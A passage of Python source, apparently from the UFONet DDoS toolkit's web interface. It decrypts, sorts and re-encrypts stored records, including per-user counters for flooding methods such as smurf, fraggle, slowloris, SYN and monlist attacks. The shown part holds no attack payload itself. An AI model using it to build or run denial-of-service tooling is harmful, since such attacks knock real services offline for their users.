  5433. self.decrypt(stream_key, stream_creation)
  5434. if self.decryptedtext:
  5435. stream_creation = self.decryptedtext
  5436. else:
  5437. stream_creation = nodec_text
  5438. self.decryptedtext = "" # clean decryptedtext buffer
  5439. stream_url = m[1] # url
  5440. self.decrypt(stream_key, stream_url)
  5441. if self.decryptedtext:
  5442. stream_url = self.decryptedtext
  5443. if stream_url.startswith("www."):
  5444. stream_url = stream_url.replace("www.","")
  5445. else:
  5446. stream_url = nodec_text
  5447. self.decryptedtext = "" # clean decryptedtext buffer
  5448. stream_topic = m[2] # topic
  5449. self.decrypt(stream_key, stream_topic)
  5450. if self.decryptedtext:
  5451. stream_topic = self.decryptedtext
  5452. else:
  5453. stream_topic = nodec_text
  5454. self.decryptedtext = "" # clean decryptedtext buffer
  5455. stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
  5456. streams_items.append([stream_creation,stream_url,stream_topic])
  5457. if stream_filter == "creation":
  5458. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  5459. elif stream_filter == "url":
  5460. streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
  5461. elif stream_filter == "topic":
  5462. streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
  5463. else:
  5464. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  5465. for i in streams_items:
  5466. stream_creation = i[0]
  5467. stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
  5468. self.encrypt(stream_key, stream_creation)
  5469. if self.encryptedtext:
  5470. stream_creation = self.encryptedtext
  5471. else:
  5472. stream_creation = nodec_text
  5473. self.encryptedtext = "" # clean encryptedtext buffer
  5474. stream_url = str(i[1])
  5475. self.encrypt(stream_key, stream_url)
  5476. if self.encryptedtext:
  5477. stream_url = self.encryptedtext
  5478. else:
  5479. stream_url = nodec_text
  5480. self.encryptedtext = "" # clean encryptedtext buffer
  5481. stream_topic = str(i[2])
  5482. self.encrypt(stream_key, stream_topic)
  5483. if self.encryptedtext:
  5484. stream_topic = self.encryptedtext
  5485. else:
  5486. stream_topic = nodec_text
  5487. self.encryptedtext = "" # clean encryptedtext buffer
  5488. l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
  5489. f.write(l + os.linesep)
  5490. f.close()
  5491. except:
  5492. pass
  5493. if page == "/cmd_stream_filter_update":
  5494. if not os.path.exists('/tmp/out'):
  5495. open('/tmp/out', 'w').close()
  5496. with open('/tmp/out', 'r') as f:
  5497. self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
  5498. if page == "/cmd_globalnet_filter":
  5499. try:
  5500. globalnet_filter = pGet["filter"]
  5501. globalnet_key = pGet["key"]
  5502. except:
  5503. globalnet_filter = "owner"
  5504. globalnet_key = str(self.crypto_key)
  5505. self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
  5506. nodec_text = "KEY?"
  5507. try:
  5508. globalnet_items=[]
  5509. with open(self.globalnet_file) as f:
  5510. ls = f.read().splitlines()
  5511. f.close()
  5512. f = open(self.globalnet_file,"w")
  5513. for j in ls:
  5514. if globalnet_msg_sep in j:
  5515. m = j.split(globalnet_msg_sep)
  5516. globalnet_owner = m[0] # owner
  5517. self.decrypt(globalnet_key, globalnet_owner)
  5518. if self.decryptedtext:
  5519. globalnet_owner = self.decryptedtext
  5520. else:
  5521. globalnet_owner = nodec_text
  5522. self.decryptedtext = "" # clean decryptedtext buffer
  5523. globalnet_comment = m[1] # comment
  5524. self.decrypt(globalnet_key, globalnet_comment)
  5525. if self.decryptedtext:
  5526. globalnet_comment = self.decryptedtext
  5527. else:
  5528. globalnet_comment = nodec_text
  5529. self.decryptedtext = "" # clean decryptedtext buffer
  5530. globalnet_warp = m[2] # warp
  5531. self.decrypt(globalnet_key, globalnet_warp)
  5532. if self.decryptedtext:
  5533. globalnet_warp = self.decryptedtext
  5534. else:
  5535. globalnet_warp = nodec_text
  5536. self.decryptedtext = "" # clean decryptedtext buffer
  5537. globalnet_ip = m[3] # ip
  5538. self.decrypt(globalnet_key, globalnet_ip)
  5539. if self.decryptedtext:
  5540. globalnet_ip = self.decryptedtext
  5541. else:
  5542. globalnet_ip = nodec_text
  5543. self.decryptedtext = "" # clean decryptedtext buffer
  5544. globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
  5545. if globalnet_filter == "owner":
  5546. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  5547. elif globalnet_filter == "comment":
  5548. globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
  5549. elif globalnet_filter == "warp":
  5550. globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
  5551. elif globalnet_filter == "ip":
  5552. globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
  5553. else:
  5554. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  5555. for i in globalnet_items:
  5556. globalnet_owner = str(i[0])
  5557. self.encrypt(globalnet_key, globalnet_owner)
  5558. if self.encryptedtext:
  5559. globalnet_owner = self.encryptedtext
  5560. else:
  5561. globalnet_owner = nodec_text
  5562. self.encryptedtext = "" # clean encryptedtext buffer
  5563. globalnet_comment = str(i[1])
  5564. self.encrypt(globalnet_key, globalnet_comment)
  5565. if self.encryptedtext:
  5566. globalnet_comment = self.encryptedtext
  5567. else:
  5568. globalnet_comment = nodec_text
  5569. self.encryptedtext = "" # clean encryptedtext buffer
  5570. globalnet_warp = str(i[2])
  5571. self.encrypt(globalnet_key, globalnet_warp)
  5572. if self.encryptedtext:
  5573. globalnet_warp = self.encryptedtext
  5574. else:
  5575. globalnet_warp = nodec_text
  5576. self.encryptedtext = "" # clean encryptedtext buffer
  5577. globalnet_ip = str(i[3])
  5578. self.encrypt(globalnet_key, globalnet_ip)
  5579. if self.encryptedtext:
  5580. globalnet_ip = self.encryptedtext
  5581. else:
  5582. globalnet_ip = nodec_text
  5583. self.encryptedtext = "" # clean encryptedtext buffer
  5584. l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
  5585. f.write(l + os.linesep)
  5586. f.close()
  5587. except:
  5588. pass
  5589. if page == "/cmd_globalnet_filter_update":
  5590. if not os.path.exists('/tmp/out'):
  5591. open('/tmp/out', 'w').close()
  5592. with open('/tmp/out', 'r') as f:
  5593. self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
  5594. if page == "/cmd_grid_filter":
  5595. try:
  5596. grid_filter = pGet["filter"]
  5597. grid_key = pGet["key"]
  5598. except:
  5599. grid_filter = "missions" # default grid order by
  5600. grid_key = str(self.crypto_key)
  5601. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  5602. nodec_text = "KEY?"
  5603. nodec_num = 0
  5604. try:
  5605. grid_items=[]
  5606. with open(self.grid_file) as f:
  5607. ls = f.read().splitlines()
  5608. f.close()
  5609. f = open(self.grid_file,"w")
  5610. for j in ls:
  5611. if grid_msg_sep in j:
  5612. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  5613. m = j.split(grid_msg_sep)
  5614. grid_nickname = m[0] # nickname
  5615. self.decrypt(grid_key, grid_nickname)
  5616. if self.decryptedtext:
  5617. grid_nickname = str(self.decryptedtext)
  5618. else:
  5619. grid_nickname = nodec_text
  5620. self.decryptedtext = "" # clean decryptedtext buffer
  5621. grid_ranking = m[1] # ranking
  5622. self.decrypt(grid_key, grid_ranking)
  5623. if self.decryptedtext:
  5624. try:
  5625. grid_ranking = int(self.decryptedtext)
  5626. except:
  5627. grid_ranking = nodec_num
  5628. else:
  5629. grid_ranking = nodec_num
  5630. self.decryptedtext = "" # clean decryptedtext buffer
  5631. grid_totalchargo = m[2] # total chargo
  5632. self.decrypt(grid_key, grid_totalchargo)
  5633. if self.decryptedtext:
  5634. try:
  5635. grid_totalchargo = int(self.decryptedtext)
  5636. except:
  5637. grid_totalchargo = nodec_num
  5638. else:
  5639. grid_totalchargo = nodec_num
  5640. self.decryptedtext = "" # clean decryptedtext buffer
  5641. grid_dorking = m[3] # dorking
  5642. self.decrypt(grid_key, grid_dorking)
  5643. if self.decryptedtext:
  5644. try:
  5645. grid_dorking = int(self.decryptedtext)
  5646. except:
  5647. grid_dorking = nodec_num
  5648. else:
  5649. grid_dorking = nodec_num
  5650. self.decryptedtext = "" # clean decryptedtext buffer
  5651. grid_transferred = m[4] # transferred
  5652. self.decrypt(grid_key, grid_transferred)
  5653. if self.decryptedtext:
  5654. try:
  5655. grid_transferred = int(self.decryptedtext)
  5656. except:
  5657. grid_transferred = nodec_num
  5658. else:
  5659. grid_transferred = nodec_num
  5660. self.decryptedtext = "" # clean decryptedtext buffer
  5661. grid_maxchargo = m[5] # maxchargo
  5662. self.decrypt(grid_key, grid_maxchargo)
  5663. if self.decryptedtext:
  5664. try:
  5665. grid_maxchargo = int(self.decryptedtext)
  5666. except:
  5667. grid_maxchargo = nodec_num
  5668. else:
  5669. grid_maxchargo = nodec_num
  5670. self.decryptedtext = "" # clean decryptedtext buffer
  5671. grid_missions = m[6] # missions
  5672. self.decrypt(grid_key, grid_missions)
  5673. if self.decryptedtext:
  5674. try:
  5675. grid_missions = int(self.decryptedtext)
  5676. except:
  5677. grid_missions = nodec_num
  5678. else:
  5679. grid_missions = nodec_num
  5680. self.decryptedtext = "" # clean decryptedtext buffer
  5681. grid_attacks = m[7] # attacks
  5682. self.decrypt(grid_key, grid_attacks)
  5683. if self.decryptedtext:
  5684. try:
  5685. grid_attacks = int(self.decryptedtext)
  5686. except:
  5687. grid_attacks = nodec_num
  5688. else:
  5689. grid_attacks = nodec_num
  5690. self.decryptedtext = "" # clean decryptedtext buffer
  5691. grid_loic = m[8] # loic
  5692. self.decrypt(grid_key, grid_loic)
  5693. if self.decryptedtext:
  5694. try:
  5695. grid_loic = int(self.decryptedtext)
  5696. except:
  5697. grid_loic = nodec_num
  5698. else:
  5699. grid_loic = nodec_num
  5700. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  5701. grid_loris = m[9] # loris
  5702. self.decrypt(grid_key, grid_loris)
  5703. if self.decryptedtext:
  5704. try:
  5705. grid_loris = int(self.decryptedtext)
  5706. except:
  5707. grid_loris = nodec_num
  5708. else:
  5709. grid_loris = nodec_num
  5710. self.decryptedtext = "" # clean decryptedtext buffer
  5711. else:
  5712. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  5713. self.decrypt(grid_key, grid_loris)
  5714. if self.decryptedtext:
  5715. try:
  5716. grid_loris = int(self.decryptedtext)
  5717. except:
  5718. grid_loris = nodec_num
  5719. else:
  5720. grid_loris = nodec_num
  5721. self.decryptedtext = "" # clean decryptedtext buffer
  5722. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  5723. grid_ufosyn = m[10] # ufosyn
  5724. self.decrypt(grid_key, grid_ufosyn)
  5725. if self.decryptedtext:
  5726. try:
  5727. grid_ufosyn = int(self.decryptedtext)
  5728. except:
  5729. grid_ufosyn = nodec_num
  5730. else:
  5731. grid_ufosyn = nodec_num
  5732. self.decryptedtext = "" # clean decryptedtext buffer
  5733. else:
  5734. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5735. self.decrypt(grid_key, grid_ufosyn)
  5736. if self.decryptedtext:
  5737. try:
  5738. grid_ufosyn = int(self.decryptedtext)
  5739. except:
  5740. grid_ufosyn = nodec_num
  5741. else:
  5742. grid_ufosyn = nodec_num
  5743. self.decryptedtext = "" # clean decryptedtext buffer
  5744. if version > 17 or version == 17 or version == 16 or version == 15:
  5745. grid_spray = m[11] # spray
  5746. self.decrypt(grid_key, grid_spray)
  5747. if self.decryptedtext:
  5748. try:
  5749. grid_spray = int(self.decryptedtext)
  5750. except:
  5751. grid_spray = nodec_num
  5752. else:
  5753. grid_spray = nodec_num
  5754. self.decryptedtext = "" # clean decryptedtext buffer
  5755. else:
  5756. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5757. self.decrypt(grid_key, grid_spray)
  5758. if self.decryptedtext:
  5759. try:
  5760. grid_spray = int(self.decryptedtext)
  5761. except:
  5762. grid_spray = nodec_num
  5763. else:
  5764. grid_spray = nodec_num
  5765. self.decryptedtext = "" # clean decryptedtext buffer
  5766. if version > 17 or version == 17 or version == 16 or version == 15:
  5767. grid_smurf = m[12] # smurf
  5768. self.decrypt(grid_key, grid_smurf)
  5769. if self.decryptedtext:
  5770. try:
  5771. grid_smurf = int(self.decryptedtext)
  5772. except:
  5773. grid_smurf = nodec_num
  5774. else:
  5775. grid_smurf = nodec_num
  5776. self.decryptedtext = "" # clean decryptedtext buffer
  5777. else:
  5778. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5779. self.decrypt(grid_key, grid_smurf)
  5780. if self.decryptedtext:
  5781. try:
  5782. grid_smurf = int(self.decryptedtext)
  5783. except:
  5784. grid_smurf = nodec_num
  5785. else:
  5786. grid_smurf = nodec_num
  5787. self.decryptedtext = "" # clean decryptedtext buffer
  5788. if version > 17 or version == 17 or version == 16 or version == 15:
  5789. grid_xmas = m[13] # xmas
  5790. self.decrypt(grid_key, grid_xmas)
  5791. if self.decryptedtext:
  5792. try:
  5793. grid_xmas = int(self.decryptedtext)
  5794. except:
  5795. grid_xmas = nodec_num
  5796. else:
  5797. grid_xmas = nodec_num
  5798. self.decryptedtext = "" # clean decryptedtext buffer
  5799. else:
  5800. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5801. self.decrypt(grid_key, grid_xmas)
  5802. if self.decryptedtext:
  5803. try:
  5804. grid_xmas = int(self.decryptedtext)
  5805. except:
  5806. grid_xmas = nodec_num
  5807. else:
  5808. grid_xmas = nodec_num
  5809. self.decryptedtext = "" # clean decryptedtext buffer
  5810. if version > 17 or version == 17 or version == 16:
  5811. grid_nuke = m[14] # nuke
  5812. self.decrypt(grid_key, grid_nuke)
  5813. if self.decryptedtext:
  5814. try:
  5815. grid_nuke = int(self.decryptedtext)
  5816. except:
  5817. grid_nuke = nodec_num
  5818. else:
  5819. grid_nuke = nodec_num
  5820. self.decryptedtext = "" # clean decryptedtext buffer
  5821. else:
  5822. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5823. self.decrypt(grid_key, grid_nuke)
  5824. if self.decryptedtext:
  5825. try:
  5826. grid_nuke = int(self.decryptedtext)
  5827. except:
  5828. grid_nuke = nodec_num
  5829. else:
  5830. grid_nuke = nodec_num
  5831. self.decryptedtext = "" # clean decryptedtext buffer
  5832. if version > 17 or version == 17:
  5833. grid_tachyon = m[15] # tachyon
  5834. self.decrypt(grid_key, grid_tachyon)
  5835. if self.decryptedtext:
  5836. try:
  5837. grid_tachyon = int(self.decryptedtext)
  5838. except:
  5839. grid_tachyon = nodec_num
  5840. else:
  5841. grid_tachyon = nodec_num
  5842. self.decryptedtext = "" # clean decryptedtext buffer
  5843. else:
  5844. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5845. self.decrypt(grid_key, grid_tachyon)
  5846. if self.decryptedtext:
  5847. try:
  5848. grid_tachyon = int(self.decryptedtext)
  5849. except:
  5850. grid_tachyon = nodec_num
  5851. else:
  5852. grid_tachyon = nodec_num
  5853. self.decryptedtext = "" # clean decryptedtext buffer
  5854. if version > 17: # current version = 26
  5855. grid_monlist = m[16] # monlist
  5856. self.decrypt(grid_key, grid_monlist)
  5857. if self.decryptedtext:
  5858. try:
  5859. grid_monlist = int(self.decryptedtext)
  5860. except:
  5861. grid_monlist = nodec_num
  5862. else:
  5863. grid_monlist = nodec_num
  5864. self.decryptedtext = "" # clean decryptedtext buffer
  5865. grid_fraggle = m[17] # fraggle
  5866. self.decrypt(grid_key, grid_fraggle)
  5867. if self.decryptedtext:
  5868. try:
  5869. grid_fraggle = int(self.decryptedtext)
  5870. except:
  5871. grid_fraggle = nodec_num
  5872. else:
  5873. grid_fraggle = nodec_num
  5874. self.decryptedtext = "" # clean decryptedtext buffer
  5875. grid_sniper = m[18] # sniper
  5876. self.decrypt(grid_key, grid_sniper)
  5877. if self.decryptedtext:
  5878. try:
  5879. grid_sniper = int(self.decryptedtext)
  5880. except:
  5881. grid_sniper = nodec_num
  5882. else:
  5883. grid_sniper = nodec_num
  5884. self.decryptedtext = "" # clean decryptedtext buffer
  5885. grid_ufoack = m[19] # ufoack
  5886. self.decrypt(grid_key, grid_ufoack)
  5887. if self.decryptedtext:
  5888. try:
  5889. grid_ufoack = int(self.decryptedtext)
  5890. except:
  5891. grid_ufoack = nodec_num
  5892. else:
  5893. grid_ufoack = nodec_num
  5894. self.decryptedtext = "" # clean decryptedtext buffer
  5895. grid_uforst = m[20] # uforst
  5896. self.decrypt(grid_key, grid_uforst)
  5897. if self.decryptedtext:
  5898. try:
  5899. grid_uforst = int(self.decryptedtext)
  5900. except:
  5901. grid_uforst = nodec_num
  5902. else:
  5903. grid_uforst = nodec_num
  5904. self.decryptedtext = "" # clean decryptedtext buffer
  5905. grid_droper = m[21] # droper
  5906. self.decrypt(grid_key, grid_droper)
  5907. if self.decryptedtext:
  5908. try:
  5909. grid_droper = int(self.decryptedtext)
  5910. except:
  5911. grid_droper = nodec_num
  5912. else:
  5913. grid_droper = nodec_num
  5914. self.decryptedtext = "" # clean decryptedtext buffer
  5915. grid_overlap = m[22] # overlap
  5916. self.decrypt(grid_key, grid_overlap)
  5917. if self.decryptedtext:
  5918. try:
  5919. grid_overlap = int(self.decryptedtext)
  5920. except:
  5921. grid_overlap = nodec_num
  5922. else:
  5923. grid_overlap = nodec_num
  5924. self.decryptedtext = "" # clean decryptedtext buffer
  5925. grid_pinger = m[23] # pinger
  5926. self.decrypt(grid_key, grid_pinger)
  5927. if self.decryptedtext:
  5928. try:
  5929. grid_pinger = int(self.decryptedtext)
  5930. except:
  5931. grid_pinger = nodec_num
  5932. else:
  5933. grid_pinger = nodec_num
  5934. self.decryptedtext = "" # clean decryptedtext buffer
  5935. grid_ufoudp = m[24] # ufoudp
  5936. self.decrypt(grid_key, grid_ufoudp)
  5937. if self.decryptedtext:
  5938. try:
  5939. grid_ufoudp = int(self.decryptedtext)
  5940. except:
  5941. grid_ufoudp = nodec_num
  5942. else:
  5943. grid_ufoudp = nodec_num
  5944. self.decryptedtext = "" # clean decryptedtext buffer
  5945. else:
  5946. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  5947. self.decrypt(grid_key, grid_monlist)
  5948. if self.decryptedtext:
  5949. try:
  5950. grid_monlist = int(self.decryptedtext)
  5951. except:
  5952. grid_monlist = nodec_num
  5953. else:
  5954. grid_monlist = nodec_num
  5955. self.decryptedtext = "" # clean decryptedtext buffer
  5956. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  5957. self.decrypt(grid_key, grid_fraggle)
  5958. if self.decryptedtext:
  5959. try:
  5960. grid_fraggle = int(self.decryptedtext)
  5961. except:
  5962. grid_fraggle = nodec_num
  5963. else:
  5964. grid_fraggle = nodec_num
  5965. self.decryptedtext = "" # clean decryptedtext buffer
  5966. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  5967. self.decrypt(grid_key, grid_sniper)
  5968. if self.decryptedtext:
  5969. try:
  5970. grid_sniper = int(self.decryptedtext)
  5971. except:
  5972. grid_sniper = nodec_num
  5973. else:
  5974. grid_sniper = nodec_num
  5975. self.decryptedtext = "" # clean decryptedtext buffer
  5976. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  5977. self.decrypt(grid_key, grid_ufoack)
  5978. if self.decryptedtext:
  5979. try:
  5980. grid_ufoack = int(self.decryptedtext)
  5981. except:
  5982. grid_ufoack = nodec_num
  5983. else:
  5984. grid_ufoack = nodec_num
  5985. self.decryptedtext = "" # clean decryptedtext buffer
  5986. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  5987. self.decrypt(grid_key, grid_uforst)
  5988. if self.decryptedtext:
  5989. try:
  5990. grid_uforst = int(self.decryptedtext)
  5991. except:
  5992. grid_uforst = nodec_num
  5993. else:
  5994. grid_uforst = nodec_num
  5995. self.decryptedtext = "" # clean decryptedtext buffer
  5996. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  5997. self.decrypt(grid_key, grid_droper)
  5998. if self.decryptedtext:
  5999. try:
  6000. grid_droper = int(self.decryptedtext)
  6001. except:
  6002. grid_droper = nodec_num
  6003. else:
  6004. grid_droper = nodec_num
  6005. self.decryptedtext = "" # clean decryptedtext buffer
  6006. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  6007. self.decrypt(grid_key, grid_overlap)
  6008. if self.decryptedtext:
  6009. try:
  6010. grid_overlap = int(self.decryptedtext)
  6011. except:
  6012. grid_overlap = nodec_num
  6013. else:
  6014. grid_overlap = nodec_num
  6015. self.decryptedtext = "" # clean decryptedtext buffer
  6016. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  6017. self.decrypt(grid_key, grid_pinger)
  6018. if self.decryptedtext:
  6019. try:
  6020. grid_pinger = int(self.decryptedtext)
  6021. except:
  6022. grid_pinger = nodec_num
  6023. else:
  6024. grid_pinger = nodec_num
  6025. self.decryptedtext = "" # clean decryptedtext buffer
  6026. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  6027. self.decrypt(grid_key, grid_ufoudp)
  6028. if self.decryptedtext:
  6029. try:
  6030. grid_ufoudp = int(self.decryptedtext)
  6031. except:
  6032. grid_ufoudp = nodec_num
  6033. else:
  6034. grid_ufoudp = nodec_num
  6035. self.decryptedtext = "" # clean decryptedtext buffer
  6036. if version > 17:
  6037. grid_contact = m[25] # contact
  6038. self.decrypt(grid_key, grid_contact)
  6039. if self.decryptedtext:
  6040. grid_contact = self.decryptedtext
  6041. else:
  6042. grid_contact = nodec_text
  6043. self.decryptedtext = "" # clean decryptedtext buffer
  6044. grid_id = m[26] # id
  6045. elif version == 17:
  6046. grid_contact = m[16] # contact
  6047. self.decrypt(grid_key, grid_contact)
  6048. if self.decryptedtext:
  6049. grid_contact = self.decryptedtext
  6050. else:
  6051. grid_contact = nodec_text
  6052. self.decryptedtext = "" # clean decryptedtext buffer
  6053. grid_id = m[17] # id
  6054. elif version == 16:
  6055. grid_contact = m[15] # contact
  6056. self.decrypt(grid_key, grid_contact)
  6057. if self.decryptedtext:
  6058. grid_contact = self.decryptedtext
  6059. else:
  6060. grid_contact = nodec_text
  6061. self.decryptedtext = "" # clean decryptedtext buffer
  6062. grid_id = m[16] # id
  6063. elif version == 15:
  6064. grid_contact = m[14] # contact
  6065. self.decrypt(grid_key, grid_contact)
  6066. if self.decryptedtext:
  6067. grid_contact = self.decryptedtext
  6068. else:
  6069. grid_contact = nodec_text
  6070. self.decryptedtext = "" # clean decryptedtext buffer
  6071. grid_id = m[15] # id
  6072. elif version == 12:
  6073. grid_contact = m[11] # contact
  6074. self.decrypt(grid_key, grid_contact)
  6075. if self.decryptedtext:
  6076. grid_contact = self.decryptedtext
  6077. else:
  6078. grid_contact = nodec_text
  6079. self.decryptedtext = "" # clean decryptedtext buffer
  6080. grid_id = m[12] # id
  6081. elif version == 11:
  6082. grid_contact = m[10] # contact
  6083. self.decrypt(grid_key, grid_contact)
  6084. if self.decryptedtext:
  6085. grid_contact = self.decryptedtext
  6086. else:
  6087. grid_contact = nodec_text
  6088. self.decryptedtext = "" # clean decryptedtext buffer
  6089. grid_id = m[11] # id
  6090. elif version == 10:
  6091. grid_contact = m[9] # contact
  6092. self.decrypt(grid_key, grid_contact)
  6093. if self.decryptedtext:
  6094. grid_contact = self.decryptedtext
  6095. else:
  6096. grid_contact = nodec_text
  6097. self.decryptedtext = "" # clean decryptedtext buffer
  6098. grid_id = m[10] # id
  6099. else:
  6100. grid_contact = nodec_text
  6101. grid_id = '6666666666666666666666666666666666666' # fake id
  6102. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)])
  6103. if grid_filter == "nickname":
  6104. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  6105. elif grid_filter == "ranking":
  6106. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  6107. elif grid_filter == "chargo":
  6108. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  6109. elif grid_filter == "dorking":
  6110. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  6111. elif grid_filter == "transferred":
  6112. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  6113. elif grid_filter == "maxchargo":
  6114. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  6115. elif grid_filter == "missions":
  6116. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  6117. elif grid_filter == "attacks":
  6118. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  6119. elif grid_filter == "loic":
  6120. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  6121. elif grid_filter == "loris":
  6122. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  6123. elif grid_filter == "ufosyn":
  6124. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  6125. elif grid_filter == "spray":
  6126. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  6127. elif grid_filter == "smurf":
  6128. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  6129. elif grid_filter == "xmas":
  6130. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  6131. elif grid_filter == "nuke":
  6132. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  6133. elif grid_filter == "tachyon":
  6134. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  6135. elif grid_filter == "monlist":
  6136. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  6137. elif grid_filter == "fraggle":
  6138. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle
  6139. elif grid_filter == "sniper":
  6140. grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper
  6141. elif grid_filter == "ufoack":
  6142. grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack
  6143. elif grid_filter == "uforst":
  6144. grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst
  6145. elif grid_filter == "droper":
  6146. grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper
  6147. elif grid_filter == "overlap":
  6148. grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap
  6149. elif grid_filter == "pinger":
  6150. grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger
  6151. elif grid_filter == "ufoudp":
  6152. grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp
  6153. elif grid_filter == "contact":
  6154. grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact
  6155. else:
  6156. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  6157. for i in grid_items:
  6158. grid_nickname = str(i[0])
  6159. self.encrypt(grid_key, grid_nickname)
  6160. if self.encryptedtext:
  6161. grid_nickname = self.encryptedtext
  6162. self.encryptedtext = "" # clean encryptedtext buffer
  6163. grid_ranking = str(i[1])
  6164. self.encrypt(grid_key, grid_ranking)
  6165. if self.encryptedtext:
  6166. grid_ranking = self.encryptedtext
  6167. self.encryptedtext = "" # clean encryptedtext buffer
  6168. grid_totalchargo = str(i[2])
  6169. self.encrypt(grid_key, grid_totalchargo)
  6170. if self.encryptedtext:
  6171. grid_totalchargo = self.encryptedtext
  6172. self.encryptedtext = "" # clean encryptedtext buffer
  6173. grid_dorking = str(i[3])
  6174. self.encrypt(grid_key, grid_dorking)
  6175. if self.encryptedtext:
  6176. grid_dorking = self.encryptedtext
  6177. self.encryptedtext = "" # clean encryptedtext buffer
  6178. grid_transferred = str(i[4])
